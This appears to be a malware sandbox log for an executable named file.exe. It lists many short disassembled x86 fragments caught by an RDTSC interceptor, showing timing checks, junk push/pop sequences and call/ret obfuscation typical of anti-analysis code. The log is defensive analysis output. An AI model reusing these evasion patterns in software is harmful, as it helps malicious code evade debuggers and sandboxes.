Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC2CD second address: EBC2E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F078CD5F93Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC2E2 second address: EBC2E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCAD5 second address: EBCAD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCAD9 second address: EBCADD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCADD second address: EBCAE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBD3D4 second address: EBD3D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBD3D8 second address: EBD3DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE653 second address: EBE657 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBDCDD second address: EBDCE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE657 second address: EBE660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBE660 second address: EBE6DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F078CD5F938h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007F078CD5F938h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 0000001Bh 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f mov si, 1726h 0x00000043 push 00000000h 0x00000045 mov esi, dword ptr [ebp+122D1D97h] 0x0000004b mov dword ptr [ebp+122D31E2h], esi 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push ecx 0x00000055 jmp 00007F078CD5F949h 0x0000005a pop ecx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBFAC6 second address: EBFAD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC047B second address: EC0490 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F078CD5F93Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0490 second address: EC049E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC104C second address: EC10EC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F078CD5F948h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F078CD5F938h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push esi 0x0000002d call 00007F078CD5F938h 0x00000032 pop esi 0x00000033 mov dword ptr [esp+04h], esi 0x00000037 add dword ptr [esp+04h], 00000018h 0x0000003f inc esi 0x00000040 push esi 0x00000041 ret 0x00000042 pop esi 0x00000043 ret 0x00000044 jmp 00007F078CD5F93Ch 0x00000049 jbe 00007F078CD5F93Ch 0x0000004f mov dword ptr [ebp+122D23B1h], ecx 0x00000055 push 00000000h 0x00000057 jno 00007F078CD5F948h 0x0000005d xchg eax, ebx 0x0000005e push edi 0x0000005f pushad 0x00000060 pushad 0x00000061 popad 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC02B8 second address: EC02BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC10EC second address: EC10F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC02BC second address: EC02C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC10F7 second address: EC10FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC02C0 second address: EC02C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC3A8A second address: EC3AA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F078CD5F943h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC462C second address: EC4636 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F078CBAC2ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC18C6 second address: EC18DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F078CD5F942h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC18DD second address: EC18E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F078CBAC2A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5B15 second address: EC5BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F078CD5F936h 0x0000000a popad 0x0000000b push eax 0x0000000c ja 00007F078CD5F94Ah 0x00000012 nop 0x00000013 mov dword ptr [ebp+122D19A0h], ebx 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007F078CD5F938h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 00000016h 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 call 00007F078CD5F949h 0x0000003a mov dword ptr [ebp+122D21DCh], edx 0x00000040 pop edi 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push edi 0x00000046 call 00007F078CD5F938h 0x0000004b pop edi 0x0000004c mov dword ptr [esp+04h], edi 0x00000050 add dword ptr [esp+04h], 0000001Ch 0x00000058 inc edi 0x00000059 push edi 0x0000005a ret 0x0000005b pop edi 0x0000005c ret 0x0000005d xchg eax, esi 0x0000005e pushad 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5BAD second address: EC5BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F078CBAC2B5h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F078CBAC2B9h 0x00000012 pushad 0x00000013 jc 00007F078CBAC2A6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4E61 second address: EC4E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC7BB1 second address: EC7BB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC7BB5 second address: EC7BDE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F078CD5F94Dh 0x0000000c jmp 00007F078CD5F947h 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC7BDE second address: EC7BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC7BE7 second address: EC7BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC7BEB second address: EC7C91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F078CBAC2A8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov dword ptr [ebp+1244A943h], edx 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007F078CBAC2A8h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 0000001Bh 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 sbb bh, FFFFFF91h 0x0000004a push 00000000h 0x0000004c push 00000000h 0x0000004e push edi 0x0000004f call 00007F078CBAC2A8h 0x00000054 pop edi 0x00000055 mov dword ptr [esp+04h], edi 0x00000059 add dword ptr [esp+04h], 0000001Ah 0x00000061 inc edi 0x00000062 push edi 0x00000063 ret 0x00000064 pop edi 0x00000065 ret 0x00000066 xchg eax, esi 0x00000067 jne 00007F078CBAC2B0h 0x0000006d push eax 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007F078CBAC2ADh 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC7F0C second address: EC7F16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F078CD5F936h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8D95 second address: EC8D9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECABAB second address: ECABB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8D9B second address: EC8DC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F078CBAC2B1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8E7B second address: EC8E7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8E7F second address: EC8E83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9E75 second address: EC9E7F instructions: 0x00000000 rdtsc 0x00000002 je 00007F078CD5F936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE1B2 second address: ECE1B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE1B9 second address: ECE1BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE1BE second address: ECE1C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9F29 second address: EC9F2F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9F2F second address: EC9F35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECBDA6 second address: ECBDAC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECBDAC second address: ECBDC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F078CBAC2B1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2E94 second address: ED2EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F078CD5F936h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2EA5 second address: ED2EAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2EAB second address: ED2EB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2EB1 second address: ED2EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3E71 second address: ED3F02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F948h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b js 00007F078CD5F938h 0x00000011 pushad 0x00000012 popad 0x00000013 jbe 00007F078CD5F93Ch 0x00000019 jbe 00007F078CD5F936h 0x0000001f popad 0x00000020 nop 0x00000021 push 00000000h 0x00000023 push eax 0x00000024 call 00007F078CD5F938h 0x00000029 pop eax 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e add dword ptr [esp+04h], 00000018h 0x00000036 inc eax 0x00000037 push eax 0x00000038 ret 0x00000039 pop eax 0x0000003a ret 0x0000003b jmp 00007F078CD5F93Eh 0x00000040 mov bh, ch 0x00000042 add ebx, dword ptr [ebp+122D219Ch] 0x00000048 push 00000000h 0x0000004a mov di, si 0x0000004d push edx 0x0000004e pop ebx 0x0000004f push 00000000h 0x00000051 mov dword ptr [ebp+122D1FB1h], esi 0x00000057 xchg eax, esi 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F078CD5F945h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE31A second address: ECE329 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F078CBAC2ABh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE329 second address: ECE32D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE3CB second address: ECE3CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE3CF second address: ECE3ED instructions: 0x00000000 rdtsc 0x00000002 js 00007F078CD5F936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F078CD5F942h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED51BF second address: ED51C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED308C second address: ED3090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED51C8 second address: ED51CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED3090 second address: ED309A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F078CD5F936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED309A second address: ED30A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F078CBAC2A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED30A5 second address: ED30D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F078CD5F943h 0x0000000e pushad 0x0000000f jmp 00007F078CD5F93Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED620D second address: ED621D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CBAC2ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED621D second address: ED6284 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F078CD5F944h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov ebx, dword ptr [ebp+122D3642h] 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F078CD5F938h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 mov bx, cx 0x00000033 push 00000000h 0x00000035 movsx edi, di 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F078CD5F948h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED53E0 second address: ED53E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED53E4 second address: ED53E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED7445 second address: ED7449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED841D second address: ED8421 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED8421 second address: ED8427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED8427 second address: ED84AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F078CD5F947h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+12443295h], edx 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov dword ptr [ebp+122D1DFAh], edx 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007F078CD5F938h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 00000015h 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e mov edi, ebx 0x00000040 and di, 6CE7h 0x00000045 add dword ptr [ebp+1246EC38h], edi 0x0000004b mov eax, dword ptr [ebp+122D07A5h] 0x00000051 mov dword ptr [ebp+122D1E45h], edi 0x00000057 push FFFFFFFFh 0x00000059 mov edi, ecx 0x0000005b push eax 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F078CD5F93Fh 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED84AA second address: ED84AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE0E1A second address: EE0E81 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F078CD5F948h 0x0000000c jmp 00007F078CD5F949h 0x00000011 jg 00007F078CD5F936h 0x00000017 jmp 00007F078CD5F945h 0x0000001c popad 0x0000001d pop edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F078CD5F93Ch 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE0E81 second address: EE0E8D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F078CBAC2A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE0E8D second address: EE0E97 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F078CD5F93Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE071F second address: EE0736 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F078CBAC2AEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE0736 second address: EE073D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE073D second address: EE0761 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F078CBAC2ACh 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push esi 0x00000010 pop esi 0x00000011 pushad 0x00000012 popad 0x00000013 pop eax 0x00000014 pushad 0x00000015 je 00007F078CBAC2A6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE09D9 second address: EE09DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE09DD second address: EE0A17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F078CBAC2AFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 push edi 0x00000011 pop edi 0x00000012 jnl 00007F078CBAC2A6h 0x00000018 popad 0x00000019 jbe 00007F078CBAC2ACh 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 jns 00007F078CBAC2A6h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE347C second address: EE3489 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jnp 00007F078CD5F936h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE7F9A second address: EE7F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9673 second address: EE9677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9677 second address: EE967B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEDCBF second address: EEDCC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEDCC5 second address: EEDCE1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F078CBAC2A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F078CBAC2AEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
